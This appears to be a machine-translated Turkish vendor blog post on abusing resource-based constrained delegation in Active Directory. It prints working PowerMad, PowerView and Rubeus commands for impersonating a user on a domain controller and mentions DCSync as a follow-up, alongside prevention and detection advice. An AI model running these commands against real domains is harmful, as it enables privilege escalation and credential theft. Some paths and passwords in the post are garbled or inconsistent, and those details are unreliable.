Kaynak Tabanlı Kısıtlı Yetkinin Kötüye Kullanılması
Yetkilendirme çoğu BT yöneticisi için kafa karıştırıcı ve karmaşıktır. Active Directory, kısıtlanmamış temsilci, kısıtlı temsilci ve kaynak tabanlı kısıtlı temsilci (RBCD) sunar.
Bu blog yazısı, kaynak tabanlı kısıtlı yetkilendirmenin neden öncekilere göre daha güvenli olduğunu ve hala nasıl kötüye kullanılabileceğini ve yatay hareket ve ayrıcalık yükseltme aracı olarak kullanılabileceğini inceliyor. Özellikle, bir saldırganın kaynak tabanlı kısıtlı yetkilendirmeyi ve kötü yapılandırılmış bazı Active Directory izinlerini Active Directory'de bilgisayar hesapları oluşturmak için kötüye kullandığı bir senaryoyu inceleyeceğiz.
Sonunda, saldırıdaki adımlara ilişkin kodu ve üç tür Kerberos delegasyonu hakkında daha fazla bilgi sağlayan bir SSS'yi sağlıyoruz.
RBCD'nin temelleri
Windows Server 2012'den başlayarak, kaynak tabanlı kısıtlı yetkilendirme, kaynakta veya bilgisayar hesabının kendisinde yapılandırılabilir. Bu, kaynağa erişen hesaplarda yapılandırılan diğer yetkilendirme türlerinden farklıdır. Kaynak tabanlı yetki verme, msDS-AllowedToActOnBehalfOfOtherIdentity özniteliği tarafından denetlenir; kaynağa erişebilen nesne için bir güvenlik tanımlayıcısını saklar.
Bu delegasyon modeli neden öncekilerden daha iyi? Microsoft bunu şu şekilde ifade ediyor: "Etki alanları arasında kısıtlı yetkilendirmeyi destekleyerek hizmetler, kısıtlanmamış yetkilendirme kullanmak yerine diğer etki alanlarındaki sunucularda kimlik doğrulaması yapmak için kısıtlı yetkilendirmeyi kullanacak şekilde yapılandırılabilir. Bu, herhangi bir hizmete yetki vermek için ön uç hizmetlere güvenmeye gerek kalmadan mevcut bir Kerberos altyapısını kullanarak etki alanları arası hizmet çözümleri için kimlik doğrulama desteği sağlıyor."
Saldırıya Genel Bakış
Kaynak tabanlı kısıtlı yetkilendirme saldırısı gerçekleştirmek için bir düşmanın şunları yapması gerekir:
- msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini, üzerinde denetim sahibi oldukları bir bilgisayar hesabıyla doldurun.
- Erişmek istedikleri nesnede ayarlanmış bir SPN'yi bilme
Varsayılan olarak tüm kullanıcılar 10 bilgisayar hesabı (MachineAccountQuota) oluşturabildiğinden, bu görevlerin ayrıcalıklı olmayan bir hesaptan gerçekleştirilmesi kolaydır. Bir saldırganın ihtiyaç duyduğu tek ayrıcalık, bazı kötü yapılandırılmış Active Directory izinleri nedeniyle bu özelliği hedef bilgisayara yazabilme yeteneğidir.
Bunu başarmak ve konseptin hızlı bir kanıtını göstermek için aşağıdaki araçları aşağıdaki senaryoyla birlikte kullanacağız:
- Kötü yapılandırılmış Active Directory izinleri nedeniyle, msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini bir etki alanı denetleyicisine yazma erişimi olan bir Windows 10 ana bilgisayarında ayrıcalıklı olmayan bir hesabın güvenliğini tehlikeye attık.
- PowerMad'i kullanarak yeni bir bilgisayar hesabı oluşturacağız (varsayılan MachineAccountQuota değeri nedeniyle izin verilir).
- Oluşturduğumuz bilgisayar hesabı ile msDS-AllowedToActOnBehalfOfOtherIdentity özelliğini güvenlik tanımlayıcı içerecek şekilde ayarladık.
- Kaynak tabanlı kısıtlı yetkilendirmeyi kötüye kullanmak için Rubeus'tan yararlanıyoruz.
Adım 1. Güvenliği ihlal edilen hesabın erişimini kontrol edin.
Başlangıç olarak, saldırganlar olarak erişim sağladığımız hesaba bir göz atalım. SBPMLABnonadmin, makinesinde yerel yönetici ayrıcalıklarına sahip olan normal bir etki alanı kullanıcı hesabıdır. Aşağıdaki ekran görüntüsü, mevcut ayrıcalıklarımızla SBPMLAB-DC2 C$yönetici paylaşımına UNC yapamayacağımızı göstermektedir:
Active Directory'deki izinleri ve nesneleri numaralandıran araçları kullanarak, hedefleyeceğimiz bir etki alanı denetleyicisinde bazı izinlerimizin olduğunu keşfedebiliyoruz. Aşağıdaki PowerShell komut dosyaları, belirli bir kullanıcı SID'sinin Tam Denetim, Yazma, İzinleri Değiştirme veya Yazma Özelliğine sahip olduğu her yeri tanımlayacaktır: hedeflenen makinede msDS-AllowedToActOnBehalfOfOtherIdentity
Adım 2. Yeni bir bilgisayar hesabı oluşturun.
Artık doldurmamız gereken özniteliği değiştirme yeteneğine sahip olduğumuzu bildiğimize göre, güncellemeyi gerçekleştirmek için kontrol ettiğimiz bir bilgisayar hesabına ihtiyacımız var. MachineAccountQuota değeri varsayılanda bırakıldığından, ThisIsATest parolasıyla RBCDMachine bilgisayar hesabı oluşturmak için PowerMad'i kullanabiliyoruz:
Adım 3. Hesabın diğer kimlik adına hareket etmesine izin verin.
Şimdi msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini, oluşturduğumuz bilgisayar hesabının güvenlik tanımlayıcısını içerecek şekilde ayarlamamız ve üzerinde izinlere sahip olduğumuz DC'nin msDS-AllowedToActOnBehalfOtherIdentity özniteliğini doldurmamız gerekiyor:
Şimdi RBCDMachine hesabımız için 'ThisIsATest' şifresinin karma değerini almamız gerekiyor:
RBCDMachine Hesabı için Parola Karması
Adım 4. RBCD'yi kötüye kullanmak için Rubeus'tan yararlanın.
Artık kaynak tabanlı kısıtlı yetkilendirmeyi kötüye kullanmak için Rubeus'u kullanmak için ihtiyacımız olan her şeye sahibiz. Şu ana kadar derlediklerimizi özetlemek gerekirse:
- Kimliğine bürünmek istediğimiz bir kullanıcı
- Hedef DC msDS-AllowedToActOnBehalfOfOtherIdentity özelliğinde doldurulan, oluşturduğumuz RBCDMachine$hesabı
- RBCDMachine$hesap parolasının karma değeri (0DE1580972A99A216CED8B058300033F)
- Hedeflenen etki alanı denetleyicisi için erişim sağlamak istediğimiz servicePrincipalName
Bu bilgiyi kullanarak bileti belleğe aktarmak için Rubeus'ta aşağıdaki komutu çalıştırabiliriz:
s4u /user:RBCDMachine$/rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
Servis biletinin başarıyla içe aktarıldığını klist kullanarak doğrulayabiliriz. Artık alan denetleyicisindeki SBPMLAB-DCC$yönetici paylaşımına başarılı bir şekilde gidebilir ve içeriğini listeleyebiliriz:
Sonraki adımlar
Hedef etki alanı denetleyicisindeki yönetici paylaşımına erişim kazandıktan sonra kalıcılığı sağlamak için adımlar atabilir ve hatta NTDS.dit dosyasını tehlikeye atmak gibi ayrıcalıklarımızı daha da yükseltebiliriz.
Diğer bir seçenek ise Rubeus komutundaki msdsspn parametresini değiştirerek LDAP hizmetine erişim istemek ve bundan yararlanarak bir DCSync saldırısı gerçekleştirip krbtgt hesabını ele geçirmektir.
LDAP hizmeti için önbelleğe alınmış bilet aşağıdadır:
LDAP'ye erişim kazandıktan sonra DCSync'i şu şekilde çalıştırabiliriz:
Saldırı Tespiti ve Önleme
Bu tür saldırıları önlemeye yönelik bazı stratejileri ortaya çıkarmak için attığımız adımları hızlıca özetleyelim:
- Bir etki alanı denetleyicisinin 'msDS-AllowedToActOnBehalfOfOtherIdentity' özelliğini değiştirme yeteneğine sahip bir hesabı devraldık.
- Varsayılan MachineAccountQuota ayarını kullanarak bir bilgisayar hesabı oluşturduk.
- Özelliği, oluşturduğumuz makine hesabıyla doldurduk.
- DC'deki LDAP hizmetine bilet istemek için Rubeus'u kullandık.
- Krbtgt hesabını devralmak için DCSync'i çalıştırabildik.
Önleme
Bunlardan bazılarının çevrenizde meydana gelmesini nasıl önleyebilirsiniz?
- Active Directory izinlerini anlayın ve kilitleyin. Active Directory'ye kimin erişimi olduğunu bilmek, onu güvence altına almak açısından hayati önem taşır. Bir bilgisayar nesnesinin niteliğini değiştirebilmek, bir saldırganın ortamınızdan yararlanmak için kullanabileceği yollardan yalnızca biridir. Grup üyeliğini değiştirme veya bir ortamdaki diğer kullanıcıların şifrelerini sıfırlama yeteneğine sahip olmak da aynı derecede zarar verici olabilir ve BloodHound gibi araçlarla istismar edilmesi çok daha kolay olabilir. AD'nizin güvenli bir şekilde yapılandırıldığından emin olmanıza, aşırı erişim haklarını ve gölge yöneticileri belirlemenize ve karmaşık saldırıları gerçek zamanlı olarak tespit edip önlemenize nasıl yardımcı olabileceğini öğrenmek için Netwrix Active Directory Güvenlik Çözümü'ne göz atın.
- Yetki verilmemesi gereken hassas hesapların bu şekilde işaretlendiğinden emin olun. Bir kullanıcıyı Korunan Kullanıcılar grubuna eklemek veya 'Hesap hassastır ve devredilemez' seçeneğini işaretlemek, kaynak kısıtlı yetki verme saldırısını kendi yolunda durduracaktır.
Tespit etme
Kaynak kısıtlamalı delegasyon saldırılarını tespit etmek için aşağıdakileri yapabilirsiniz:
- Yönetici olmayan kullanıcılar tarafından oluşturulan bilgisayar hesaplarını izleyin. Yönetici olmayan bir kullanıcı bir bilgisayar hesabı oluşturduğunda 'mS-DS-CreatorSID' özelliği doldurulur; böylece bu hesapları tanımlamak için bu komutu kullanabilirsiniz:
Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}Kod
- Sahip olduğumuz hesap ($myaccount) için hedeflenen bilgisayardaki ($target) izinleri tanımlayın:
#Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid
#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions- Alan adı için MachineAccountQuota ayarını kontrol edin ve PowerMad'i kullanarak bir bilgisayar hesabı oluşturun:
#Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'
#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)- msDS-AllowedToActOnBehalfOfOtherIdentity özelliğini oluşturduğumuz yeni bilgisayarla güncelleyin:
#Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount- Bilgisayar hesabımız için belirlediğimiz şifrenin karmasını alın:
#Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password- RBCD'yi kötüye kullanmak için Rubeus'u kullanın:
C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /pttSSS
Kerberos yetkisi nedir?
Kerberos delegasyonunun pratik kullanımı, bir uygulamanın veya hizmetin, başka bir kullanıcı adına farklı bir sunucuda barındırılan kaynaklara erişmesini sağlamaktır.
Kısıtlanmamış yetkilendirme nasıl çalışır?
Kısıtlanmamış Kerberos delegasyonu, bir uygulamaya veya hizmete, seçilen herhangi bir hizmette hedef kullanıcıyı taklit etme yeteneği verir.
Kısıtlanmış yetkilendirme nasıl çalışır?
Kısıtlı yetkilendirme, bir hesaba hangi hizmetlere yetki verilebileceğini yapılandırmanıza olanak tanır. S4U2proxy, Kerberos Kısıtlı Yetkilendirme uzantısıdır.
Kaynak tabanlı kısıtlı yetkilendirme nasıl çalışır?
Hangi nesnenin hangi hizmete yetki verebileceğini belirtmek yerine, hizmeti barındıran kaynak hangi nesnelerin kendisine yetki verebileceğini belirtir.









